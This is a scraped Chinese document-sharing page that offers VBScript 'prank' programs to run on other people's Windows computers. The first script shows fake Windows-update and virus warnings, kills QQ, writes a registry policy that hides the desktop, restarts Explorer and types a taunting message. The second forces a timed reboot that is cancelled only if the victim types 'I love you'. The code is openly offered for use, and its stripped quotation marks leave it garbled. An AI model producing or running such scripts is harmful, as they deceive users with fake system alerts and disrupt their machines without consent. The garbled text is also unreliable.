- 39
- 0
- 约1.32万字
- 约 12页
- 2017-01-06 发布于北京
- 举报
[VB小程序
注意: 一旦某些程序开启 可手动关闭进程wscript.exe 结束!
###################vbs整人代码1###################
msgbox 要求:vbcrlf1、要同时涉及3大门派vbcrlf2、要包含江湖门派间多年 怨情仇 又要打破世俗伦理vbcrlf3、同时情节还要扣人心悬 大有血雨腥 呼之欲来令人极为期待该小说之续集 同时留下N多悬念vbcrlf4、越短越好vbcrlfvbcrlf第N天 有人来投稿 全文只有九个字:vbcrlfvbcrlf...........,0,武侠小说征文
msgbox 秃驴 敢跟贫道抢师太,64,投稿
set ws=createobject(wscript.shell)
sub sleep (s)
wscript.sleep s * 1000
end sub
sleep 900
ws.popup windows检测到有重要更新未安装vbcrlfvbcrlf系统将在30秒后自动下载更新并安装,30,Windows Xp,64
sleep 10
ws.popup 正在下载更新......vbcrlfvbcrlf稍候将提示您安装,10,Windows Xp,64
sleep 900
ws.popup windows已将一病毒载入计算机中vbcrlfvbcrlf稍后即将运行,15,病毒,64
sleep 3
ws.run taskkill /f /im qq.exe,vbhide : sleep 5
ws.regwrite HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktopREG_DWORD
wscript.sleep 500
ws.run taskkill /f /im explorer.exe,vbhide : wscript.sleep 2000
ws.run explorer.exe,vbhide : wscript.sleep 6000
ws.run notepad,3 : wscript.sleep 2000
ws.sendkeys ^ : wscript.sleep 1000
verybat=split(gongxi ,ni ,~,ni ,yijing ,bei ,wo ,kongzhi ,le ,~,ruguo ,ni ,zai ,30 miaozhong ,nei ,guanji ,~,name , keneng ,hai ,youjiu ,~,fouze , haha haha ____youxi ,kaishi la ,~,haole ,wo ,xianzai ,yao ,chuqu ,yixia ,~,yihui ,wo ,zailai ,zhaoni , haizi ,,,)
for each wind in verybat
ws.sendkeys wind
wscript.sleep 500
next
###################vbs整人代码2 ###################
set ierunner=createobject(wscript.shell)
ierunner.run cmd /c start iexplore 自己的网站站
wscript.sleep 8000
ierunner.sendkeys %{F4}
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject(wscript.shell)
WSHshellA.run cmd.exe /c shutdown -r -t 3000 -c 快说你爱我··· ,0 ,true
dim a
do while(a 我爱你)
a = inputbox (说你爱我,就不关机,快点,说 我爱你 ,说不说,不说,8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,MsgBox
loop
msgbox chr(13) + chr(13) + chr(13) + 早说就行了嘛
dim WSHshell
set WSHshell = wscript.createobject(wscript.shell)
WSHshell.run cmd.exe /c shutdown -a,0 ,true
msgbox chr(13) + chr(13) + chr(13) + 哈哈哈哈,真过瘾
###################vbs整人代
原创力文档

文档评论(0)